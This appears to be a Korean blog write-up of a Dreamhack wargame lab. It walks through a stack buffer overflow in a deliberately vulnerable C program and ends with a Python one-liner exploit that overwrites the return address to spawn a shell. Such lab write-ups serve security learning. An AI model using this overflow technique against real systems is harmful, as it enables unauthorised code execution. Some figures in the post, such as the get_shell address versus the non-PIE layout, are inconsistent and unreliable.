System Hacking/DreamHack

[Dreamhack] Return Address Overwrite

hanbunny 2025. 3. 12. 20:50

Return address overwrite 스택 프레임의 반환 주소를 조작함으로써 프로세스의 실행 흐름을 바꾸는 공격 기법이다.

 

소스코드

// Name: rao.c

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

포맷스트링인 scanf("%s", buf) 부분을 보면 "%s"는 입력 길이를 제한하지 않는다.

즉, 설정된 버퍼의 값보다 더 큰 입력값을 받음.

 

*포맷 스트링이란?

https://hanbunny.tistory.com/72

 

#rao.c 컴파일
gcc -o rao rao.c -fno-stack-protector -no-pie

먼저 컴파일을 해서 버퍼 크기보다 작은 AAAAA를 입력해봄.

 

$ ./rao
Input: AAAAA
$

 

정상 종료됨.

그래서 이번에는 버퍼크기인 [0x28]보다 큰 A 60개를 입력해봄.

 

Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                         
Segmentation fault (core dumped)

 

Segmentation fault (core dumped)가 뜬다.

프로그램이 잘못된 메모리 주소에 접근해서 버그가 발생한거임.

 

*(core dumped)는 코어파일을 생성했다는 듯으로 프로그램이 비정상 종료되면 디버깅을 돕기위해 운영체제가 생성해줌.

일반적으로 코어파일은 /var/lib/apport/coredump 에 생성된다.

나는 코어파일 저장경로를 지정해줘서 /var/core/에  core.rao.2088 이름으로 저장되어 있었음.

 

https://hanbunny.tistory.com/73 -> 코어파일 저장이 안 되어 있을 시 참고

 

입력값이 스택에 어떻게 저장된건지 보기위해 코어파일을 분석해볼거.

 

#gdb로 코어파일 분석
$ gdb rao -c core.2088

 

프로그램 종료 원인과, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 나옴.

 

그리고 [STACK] 부분을 확인해보면 스택 최상단에 저장된값을 볼 수 있다.

A를 총 64개 쳤지만 8개만 들어가있음.

 

스택 버퍼에 오버플로우를 발생시켜서 반환 주소를 덮으려면, 해당 버퍼가 스택 프레임 어디에 위치하는지 알아야한다.

 

▼익스플로잇 시작

스택프레임 구조 파악

pwndbg> nearpc
   0x400706             call   printf@plt 

   0x40070b             lea    rax, [rbp - 0x30]
   0x40070f             mov    rsi, rax
   0x400712             lea    rdi, [rip + 0xab]
   0x400719             mov    eax, 0
 ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
        format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
        vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4:       "%s"__isoc99_scanf

 

스택 프레임 구조를 보면 오버플로우를 발생시키는 버퍼는 rbp-0x30에 위치한다.

rbp 에 스택프레임 포인터가 저장되고, rbp+0x8에는 반환 주소가 저장되는거임.

 

입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있어서, 그만큼을  dummy data로 채우고 실행하고자 하는 코드의 주소를 입력하면 실행 흐름 조작이 가능하다.

 

get_shell() 주소 확인

 

rao.c

이 부분에 있는 get_shell() 의 주소를 먼저 찾아볼거임.

get_shell()함수가 셸을 실행해주기 때문에 , 이 함수의 주소로 main함수의 반환 주소를 덮어서 셸 획득이 가능하다.

$ gdb rao -q
pwndbg> print get_shell

 

get_shell()의 주소가 0x11f0이라고 나옴.

 

페이로드 구성

 

 

엔디언 적용

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다.

지금 시스템에서는 인텔 x86-64아키텍쳐가 대상이므로 ,  0x11f0 이 주소를 리틀 엔디언 형식으로 변환하면 "\xf0\x11" 가 된다. 이걸 전달하면됨.

 

익스플로잇

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xf0\x11')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

$ 가 뜨면 exploit에 성공한거임.

거기다 id를 쳐보면 uid=1000(rao) gid=1000(rao) groups=1000(rao) 가 뜸.